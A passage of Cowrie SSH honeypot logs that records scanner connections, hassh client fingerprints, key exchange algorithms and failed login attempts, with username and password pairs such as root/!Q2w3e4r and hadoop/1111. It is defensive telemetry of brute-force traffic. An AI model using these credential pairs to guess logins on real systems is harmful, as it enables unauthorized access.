t-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:34.779162Z","src_ip":"176.65.139.95","session":"74242ea46413","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:35.067800Z","src_ip":"176.65.139.95","session":"74242ea46413","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:36.152980Z","src_ip":"176.65.139.95","session":"74242ea46413","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":53654,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffb8a1775d4b","protocol":"ssh","message":"New connection: 176.65.139.95:53654 (159.203.135.109:22) [session: ffb8a1775d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:41.154304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:41.159467Z","src_ip":"176.65.139.95","session":"ffb8a1775d4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:41.244743Z","src_ip":"176.65.139.95","session":"ffb8a1775d4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:41.745603Z","src_ip":"176.65.139.95","session":"ffb8a1775d4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:42.830573Z","src_ip":"176.65.139.95","session":"ffb8a1775d4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46404,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9514a0dc9d5","protocol":"ssh","message":"New connection: 159.203.92.129:46404 (159.203.135.109:22) [session: b9514a0dc9d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:46.308178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:46.313213Z","src_ip":"159.203.92.129","session":"b9514a0dc9d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:46.318762Z","src_ip":"159.203.92.129","session":"b9514a0dc9d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Fank","password":"123","message":"login attempt [Fank/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:46.339245Z","src_ip":"159.203.92.129","session":"b9514a0dc9d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:47.346447Z","src_ip":"159.203.92.129","session":"b9514a0dc9d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":53660,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b2f59a7f452","protocol":"ssh","message":"New connection: 176.65.139.95:53660 (159.203.135.109:22) [session: 8b2f59a7f452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:47.462762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:47.466765Z","src_ip":"176.65.139.95","session":"8b2f59a7f452","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:47.748664Z","src_ip":"176.65.139.95","session":"8b2f59a7f452","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"suporte","password":"suporte","message":"login attempt [suporte/suporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:47.997209Z","src_ip":"176.65.139.95","session":"8b2f59a7f452","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:49.244449Z","src_ip":"176.65.139.95","session":"8b2f59a7f452","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":60176,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba29f4898186","protocol":"ssh","message":"New connection: 176.65.139.95:60176 (159.203.135.109:22) [session: ba29f4898186]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:53.552281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:53.557171Z","src_ip":"176.65.139.95","session":"ba29f4898186","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:53.640064Z","src_ip":"176.65.139.95","session":"ba29f4898186","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"packer","password":"packer","message":"login attempt [packer/packer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:54.184071Z","src_ip":"176.65.139.95","session":"ba29f4898186","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:55.268429Z","src_ip":"176.65.139.95","session":"ba29f4898186","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":39762,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8139cf71347","protocol":"ssh","message":"New connection: 80.94.92.186:39762 (159.203.135.109:22) [session: b8139cf71347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:58.755440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:59.101550Z","src_ip":"80.94.92.186","session":"b8139cf71347","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:59.157497Z","src_ip":"80.94.92.186","session":"b8139cf71347","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":48682,"dst_ip":"159.203.135.109","dst_port":22,"session":"c29013f756c7","protocol":"ssh","message":"New connection: 176.65.139.95:48682 (159.203.135.109:22) [session: c29013f756c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:59.785239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:59.789743Z","src_ip":"176.65.139.95","session":"c29013f756c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:59.881384Z","src_ip":"176.65.139.95","session":"c29013f756c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"latitude","password":"validator","message":"login attempt [latitude/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:59.988546Z","src_ip":"80.94.92.186","session":"b8139cf71347","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:00.155145Z","src_ip":"176.65.139.95","session":"c29013f756c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:01.305161Z","src_ip":"176.65.139.95","session":"c29013f756c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:01.473123Z","src_ip":"80.94.92.186","session":"b8139cf71347","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":54326,"dst_ip":"10.17.0.5","dst_port":22,"session":"28e227feaeb7","protocol":"ssh","message":"New connection: 79.116.23.158:54326 (10.17.0.5:22) [session: 28e227feaeb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:03.335248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:03.339964Z","src_ip":"79.116.23.158","session":"28e227feaeb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:03.476472Z","src_ip":"79.116.23.158","session":"28e227feaeb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"1111","message":"login attempt [hadoop/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:04.000069Z","src_ip":"79.116.23.158","session":"28e227feaeb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:05.131246Z","src_ip":"79.116.23.158","session":"28e227feaeb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":48696,"dst_ip":"159.203.135.109","dst_port":22,"session":"7dd25a5f9221","protocol":"ssh","message":"New connection: 176.65.139.95:48696 (159.203.135.109:22) [session: 7dd25a5f9221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:05.726083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:05.732409Z","src_ip":"176.65.139.95","session":"7dd25a5f9221","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:26:05.847739Z","src_ip":"176.65.139.95","session":"7dd25a5f9221","protocol":"ssh"}
